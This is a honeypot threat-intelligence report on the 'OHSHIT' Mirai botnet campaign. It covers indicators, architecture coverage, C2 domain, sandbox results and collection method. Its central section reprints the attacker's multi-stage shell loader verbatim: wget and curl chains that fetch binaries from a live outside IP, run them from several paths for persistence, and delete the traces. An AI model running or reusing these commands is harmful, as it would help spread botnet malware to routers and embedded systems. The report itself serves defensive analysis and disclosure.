OHSHIT Botnet Campaign

Beginning 2026-05-21, cowrAI sensors began observing a sustained SSH brute-force campaign distributing Mirai-family binaries from 192.142.28.77 via the path /bachekuni/. The campaign remains active as of 2026-06-23 — 34 days and counting — and has touched all 36 fleet nodes across multiple geographic regions.

What distinguishes this campaign from typical Mirai drops is its exceptional architecture coverage. The operator has compiled and maintains binaries for at least 14 CPU architectures, including unusual targets — Renesas SH4, SPARC, Motorola m68k, PowerPC, and ARC — not commonly seen in Mirai variant distribution. For each architecture, the loader attempts download via four different tools in sequence (wget → busybox wget → curl → busybox curl), with simultaneous execution from three filesystem locations to maximize persistence on embedded Linux environments.

Behavioral analysis of the ARM7 sample confirms C2 communication to the domain genddos.st — a DDoS-for-hire C2 indicator. Watchdog modification (to prevent reboots from clearing the infection) and system binary writes were observed in-sandbox. VirusTotal detects 37–41/62–64 engines across submitted samples, classified as Mirai/FEBO and Mirai/GAFGYT lineages.

Notably, the distribution server (192.142.28.77) doubles as a scanner, generating 1,598 of the 4,334 observed events directly. The open-directory probe confirmed Apache/2.4.58 on Ubuntu and 2 items accessible at the directory root. The distribution server also hosts secondary payloads at /cumshotnews (shell script, 7 VT detections) and /routereater (shell script, 777 bytes).

The loader is a multi-stage shell sequence executed after SSH login, captured verbatim by cowrie. Each architecture follows the same four-phase pattern: download → chmod → execute → cleanup, with the execution step attempting three filesystem locations for persistence.

# Phase 1: Download — four-tool fallback chain, all errors suppressed
wget -q -O ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips 2>/dev/null || \
  busybox wget -q -O ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips 2>/dev/null || \
  curl -fsSL -o ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips 2>/dev/null || \
  busybox curl -fsSL -o ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips 2>/dev/null

# Phase 2: Mark executable — tries both native and busybox chmod
chmod +x ohshit.mips 2>/dev/null; busybox chmod +x ohshit.mips 2>/dev/null

# Phase 3: Execute with multi-path persistence
#   3a. Direct execution from CWD
./ohshit.mips routers 2>/dev/null; \
#   3b. Copy to /dev/shm — RAM-backed, survives filesystem remount
  cp ohshit.mips /dev/shm/ohshit.mips 2>/dev/null && \
  chmod +x /dev/shm/ohshit.mips 2>/dev/null && \
  /dev/shm/ohshit.mips routers 2>/dev/null; \
#   3c. Copy to /var — persistent storage fallback
  cp ohshit.mips /var/ohshit.mips 2>/dev/null && \
  chmod +x /var/ohshit.mips 2>/dev/null && \
  /var/ohshit.mips routers 2>/dev/null; \
#   3d. Interpreter fallback — sh/busybox sh if exec bit failed
  busybox sh ohshit.mips routers 2>/dev/null; \
  sh ohshit.mips routers 2>/dev/null

# Phase 4: Cleanup — attempt to remove evidence from all locations
rm -f ohshit.mips /dev/shm/ohshit.mips /var/ohshit.mips 2>/dev/null

The routers argument is a Mirai self-replication mode indicator, confirming the binary will attempt to propagate by SSH/Telnet scanning once running. The operator repeats this entire sequence for each of the 14+ architectures in a single session, ensuring the binary that matches the target's CPU will execute.

14+ binary variants observed, including architectures rarely seen in Mirai variant distribution (SPARC, Renesas SH4, Motorola m68k, ARC, PowerPC). This is among the broadest architecture coverage documented in a single Mirai campaign.

⚑ Unusual architecture rarely seen in Mirai campaigns. ★ ARM7 had successful behavioral sandbox run (genddos.st C2 observed).

rule Mirai_SPARC  { /* fired on 69e3b714... (SPARC) */ }
rule Mirai_ARM    { /* fired on 8d5eec24... (ARM7) */ }

The SPARC binary (ohshit.spc) could not be executed in any of the tria.ge sandbox environments (amd64, armhf, mipsel, mips) — exec format error on all. This is expected: tria.ge has no SPARC sandbox. Static analysis still fired the Mirai_SPARC YARA rule, confirming Mirai code structure. This is a reminder that rare-arch malware is effectively sandbox-immune in most analysis environments.

Data collected by the cowrAI distributed honeypot fleet — 36 cowrie 2.9.17 nodes across multiple hosting providers in Europe, North America, and Asia-Pacific, operating in SSH/Telnet capture mode with LLM-backend engagement and 9 alt-protocol lures.

Event collection: cowrie logs cowrie.command.input events for all executed shell commands. Each session is indexed in a time-series event store. This report covers 4,334 events matching bachekuni or ohshit patterns, plus events from 192.142.28.77.

Sample collection: cowrAI's chase-runner extracts dropper URLs from captured commands, fetches binaries (with 64-URL cap per session), computes SHA256, and stores in R2. Each unique sample is automatically submitted to VirusTotal and tria.ge. The 14+ binary variants documented here were all captured via the chase pipeline from commands observed in sensor sessions.

Behavioral analysis: ARM7 sample (8d5eec24…) executed successfully in tria.ge's Debian 12 ARM sandbox, producing the C2 connection to genddos.st and behavioral signatures. SPARC, m68k, PowerPC, and SH4 samples could not be executed in any available sandbox environment — exec format error (no matching sandbox arch). Static YARA analysis still fired on all samples.